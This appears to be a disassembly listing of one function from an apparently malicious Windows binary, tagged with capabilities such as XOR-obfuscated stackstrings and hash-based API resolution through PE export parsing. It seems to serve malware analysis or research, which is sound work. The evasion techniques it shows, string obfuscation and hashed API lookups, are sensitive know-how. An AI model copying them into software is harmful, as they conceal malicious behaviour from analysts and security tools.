Function at 0x4180a9
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xfc
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x10], 0x3b362837
mov esi, ecx
mov ebp, edx
push edi
mov ecx, ebx
mov al, byte [esp + ecx + 0x14]
xor al, 0x5f
mov byte [esp + ecx + 0xc0], al
inc ecx
cmp ecx, 4
jl 0x4180c3
mov byte [esp + 0xc4], bl
mov ecx, ebx
mov dword [esp + 0x18], 0xebeef2e5
mov byte [esp + 0x1c], 0xe3
mov al, byte [esp + ecx + 0x18]
xor al, 0x87
mov byte [esp + ecx + 0xc8], al
inc ecx
cmp ecx, 5
jl 0x4180ec
push esi
mov byte [esp + 0xd1], bl
call fcn.00405b40
pop ecx
mov ecx, ebx
cmp byte [eax + esi - 1], 0x2f
jne 0x418179
mov dword [esp + 0x14], 0x98ce98ce
mov al, byte [esp + ecx + 0x14]
xor al, 0xeb
mov byte [esp + ecx + 0x18], al
inc ecx
cmp ecx, 4
jl 0x41811e
mov byte [esp + 0x1c], bl
mov ecx, ebx
mov dword [esp + 0x24], 0x6f6e7673
mov dword [esp + 0x28], 0x7436697c
mov dword [esp + 0x2c], 0x6c7b7a68
mov byte [esp + 0x30], 0x79
mov al, byte [esp + ecx + 0x24]
sub al, 7
mov byte [esp + ecx + 0xa8], al
inc ecx
cmp ecx, 0xd
jl 0x418151
lea eax, [esp + 0xa8]
mov byte [esp + 0xb5], bl
push eax
lea eax, [esp + 0x1c]
jmp 0x4181e5
mov dword [esp + 0x18], 0x161c4016
mov byte [esp + 0x1c], 0x40
mov al, byte [esp + ecx + 0x18]
xor al, 0x33
mov byte [esp + ecx + 0x24], al
inc ecx
cmp ecx, 5
jl 0x418186
mov byte [esp + 0x29], bl
mov ecx, ebx
mov dword [esp + 0xa8], 0x313e3635
mov dword [esp + 0xac], 0x34763b2c
mov dword [esp + 0xb0], 0x3c2d2a38
mov byte [esp + 0xb4], 0x2b
mov al, byte [esp + ecx + 0xa8]
xor al, 0x59
mov byte [esp + ecx + 0x58], al
inc ecx
cmp ecx, 0xd
jl 0x4181c5
lea eax, [esp + 0x58]
mov byte [esp + 0x65], bl
push eax
lea eax, [esp + 0x28]
push esi
push eax
push 0x104
push 0x424ba8
mov edx, 0x534fbfb6
xor ecx, ecx
call fcn.00412cbc
call eax
xor eax, eax
mov dword [0x424db0], 0x1f4
lea edi, [esp + 0x38]
add esp, 0x14
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0041a08f
mov esi, eax
xor ecx, ecx
mov edi, 0x9e7f4339
inc ecx
push esi
mov edx, edi
call fcn.00412cbc
call eax
push eax
push esi
lea edx, [esp + 0xc8]
lea ecx, [esp + 0x2c]
call fcn.00418064
pop ecx
pop ecx
xor ecx, ecx
mov esi, str.grad
push esi
mov edx, edi
inc ecx
call fcn.00412cbc
call eax
push eax
push esi
lea edx, [esp + 0xd0]
lea ecx, [esp + 0x2c]
call fcn.00418064
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], ebx
push eax
lea edx, [esp + 0x20]
lea ecx, [esp + 0x30]
call fcn.00417f15
add esp, 0xc
test al, al
je 0x4185f3
mov edi, dword [esp + 0x14]
test edi, edi
je 0x4185f3
mov dword [esp + 0x14], 0x7376b4b8
mov ecx, ebx
mov al, byte [esp + ecx + 0x14]
sub al, 0x69
mov byte [esp + ecx + 0x24], al
inc ecx
cmp ecx, 4
jl 0x41829d
push 4
lea eax, [esp + 0x28]
mov byte [esp + 0x2c], bl
push eax
push edi
call fcn.004022e4
add esp, 0xc
test eax, eax
jne 0x4185ec
mov word [esp + 0x20], 0x7c
mov ecx, ebx
mov dword [esp + 0x6c], 0xeff7f8cc
mov dword [esp + 0x70], 0xfba9f0f2
mov dword [esp + 0x74], 0xf2fbfdee
mov dword [esp + 0x78], 0xedeeffee
mov dword [esp + 0x7c], 0xedaea9c3
mov dword [esp + 0x80], 0xedaea9b5
mov dword [esp + 0x84], 0xedaea9b5
mov dword [esp + 0x88], 0xedaea9b5
mov dword [esp + 0x8c], 0xedaea9b5
mov dword [esp + 0x90], 0xedaea9b5
mov dword [esp + 0x94], 0xedaea9b5
mov dword [esp + 0x98], 0xedaea9b5
mov dword [esp + 0x9c], 0xedaea9b5
mov dword [esp + 0xa0], 0xedaea9b5
mov byte [esp + 0xa4], 0x93
mov al, byte [esp + ecx + 0x6c]
add al, 0x77
mov byte [esp + ecx + 0xd0], al
inc ecx
cmp ecx, 0x39
jl 0x418365
mov byte [esp + 0x109], bl
mov ecx, ebx
mov dword [esp + 0x58], 0x92989c81
mov dword [esp + 0x5c], 0x929f4d9b
mov dword [esp + 0x60], 0x92969fa1
mov dword [esp + 0x64], 0x679192a3
mov dword [esp + 0x68], 0x37a0524d
mov al, byte [esp + ecx + 0x58]
sub al, 0x2d
mov byte [esp + ecx + 0xa8], al
inc ecx
cmp ecx, 0x14
jl 0x4183a9
lea eax, [esp + 0x18]
mov byte [esp + 0xbc], bl
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [edi + 4]
push eax
call fcn.00405d9c
add esp, 0xc
mov esi, ebx
test eax, eax
je 0x418594
mov edx, 0xbf77ea11
mov word [esp + 0x34], 0x31
mov word [esp + 0x38], 0x31
mov word [esp + 0x3c], 0x31
mov word [esp + 0x40], 0x31
mov word [esp + 0x44], 0x31
mov word [esp + 0x48], 0x31
mov word [esp + 0x4c], 0x31
mov word [esp + 0x50], 0x31
mov word [esp + 0x54], 0x31
mov word [esp + 0x14], 0x31
cmp esi, 0xa
ja case.default.0x418437
jmp dword [esi*4 + 0x418601]
push eax
xor ecx, ecx
mov edx, 0xf89245dd
push 0x424cac
inc ecx
call fcn.00412cbc
call eax
jmp case.default.0x418437
lea ecx, [esp + 0x34]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412cbc
call eax
neg eax
sbb al, al
inc al
mov byte [ebp], al
jmp case.default.0x418437
lea ecx, [esp + 0x38]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412cbc
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 1], al
jmp case.default.0x418437
lea ecx, [esp + 0x3c]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412cbc
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 2], al
jmp case.default.0x418437
lea ecx, [esp + 0x40]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412cbc
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 3], al
jmp case.default.0x418437
lea ecx, [esp + 0x44]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412cbc
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 4], al
jmp case.default.0x418437
lea ecx, [esp + 0x48]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412cbc
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 5], al
jmp case.default.0x418437
lea ecx, [esp + 0x4c]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412cbc
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 6], al
jmp case.default.0x418437
lea ecx, [esp + 0x50]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412cbc
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 7], al
jmp case.default.0x418437
lea ecx, [esp + 0x54]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412cbc
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 8], al
jmp case.default.0x418437
lea ecx, [esp + 0x14]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412cbc
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 9], al
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x24]
push eax
push ebx
call fcn.00405d9c
add esp, 0xc
mov edx, 0xbf77ea11
inc esi
test eax, eax
jne 0x4183e8
movzx eax, byte [ebp + 9]
mov bl, 1
push eax
movzx eax, byte [ebp + 8]
push eax
movzx eax, byte [ebp + 7]
push eax
movzx eax, byte [ebp + 6]
push eax
movzx eax, byte [ebp + 5]
push eax
movzx eax, byte [ebp + 4]
push eax
movzx eax, byte [ebp + 3]
push eax
movzx eax, byte [ebp + 2]
push eax
movzx eax, byte [ebp + 1]
push eax
movzx eax, byte [ebp]
push eax
lea eax, [esp + 0xf8]
push eax
call fcn.00412606
add esp, 0x2c
lea eax, [esp + 0xa8]
push 0x424cac
push eax
call fcn.00412606
pop ecx
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0xfc
ret